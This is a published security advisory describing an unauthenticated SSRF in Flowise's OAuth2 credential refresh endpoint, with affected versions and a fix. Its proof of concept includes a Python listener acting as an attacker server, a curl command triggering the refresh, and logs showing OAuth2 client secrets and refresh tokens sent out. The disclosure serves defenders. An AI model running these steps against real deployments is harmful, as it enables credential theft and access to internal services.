GHSA-r745-8hwv-h473: SSRF

Published Aug 4, 2026
·
Updated

Summary

The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (accessTokenUrl) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (tokenInfo), confirming non-blind SSRF and credential secret exfiltration.

Details

The vulnerability is in dist/routes/oauth2/index.js (container runtime build), under path prefix /api/v1/oauth2-credential.

Confirmed in runtime code:

1. Unauthenticated route via whitelist - dist/utils/constants.js includes: - /api/v1/oauth2-credential/callback - /api/v1/oauth2-credential/refresh - dist/index.js auth middleware uses: - const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url)) - Therefore /api/v1/oauth2-credential/refresh/:credentialId is treated as whitelisted.

2. User-controlled SSRF target - In refresh handler (dist/routes/oauth2/index.js): - loads credential by credentialId - decrypts credential data - reads accessTokenUrl - executes: - axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...) - No secureAxiosRequest() / denylist wrapper is used in this path.

3. Non-blind response reflection - Response returns: - tokenInfo: { ...tokenData, ... } - tokenData is the attacker/internal server response body.

4. Secrets sent to SSRF target - Request body includes: - clientid - clientsecret - granttype=refreshtoken - refreshtoken

PoC

Environment used

- flowiseai/flowise:latest container (localhost:3000) - Attacker server (localhost:18081) returning JSON

Step 1: Start attacker server

bash python3 -u - <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer import json

class H(BaseHTTPRequestHandler): def doPOST(self): l = int(self.headers.get('Content-Length','0')) b = self.rfile.read(l).decode('utf-8', errors='replace') print('REQUESTPATH', self.path, flush=True) print('REQUESTBODY', b, flush=True) self.sendresponse(200) self.sendheader('Content-Type','application/json') self.endheaders() self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echolen': len(b)}).encode()) def logmessage(self, fmt, args): pass

HTTPServer(('0.0.0.0', 18081), H).serveforever() PY

Step 2: Create OAuth2 credential with attacker accessTokenUrl (authenticated action)

In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.

Resulting credential ID used in runtime validation:

- 24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef

Step 3: Trigger refresh without auth

bash curl -i -X POST \ http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \ -H 'Content-Type: application/json' \ -d '{}'

Observed response:

json { "success": true, "message": "OAuth2 token refreshed successfully", "credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef", "tokenInfo": { "ok": true, "source": "attacker-server", "echolen": 76, "hasnewrefreshtoken": false } }

Attacker server logs captured:

text REQUESTPATH /token REQUESTBODY clientid=cid2&clientsecret=csec2&granttype=refreshtoken&refreshtoken=r2

This confirms: - unauthenticated trigger, - server-side POST to attacker-controlled URL, - exfiltration of OAuth2 secrets in POST body, - full response reflection to client (tokenInfo).

Impact

- Vulnerability class: Non-blind SSRF + sensitive secret exfiltration. - Who can set up attack: Any authenticated user who can create/update OAuth2 credentials. - Who can trigger attack: Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted). - Technical impact: - outbound SSRF to attacker/internal targets, - direct leak of clientsecret and refreshtoken to SSRF target, - direct response read from target via API response (tokenInfo). - Deployment impact: - cloud/internal network reachability can expose metadata/internal services depending on egress controls.

Affected Software

1 affected componentFixes available
npm/flowise<=3.1.2
3.1.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/flowise to a version that resolves this vulnerability.

    Fixed in 3.1.3

Event History

Aug 4, 2026
Advisory Published
via GitHub·02:20 PM
Data Sourced
via GitHub·02:20 PM
DescriptionWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203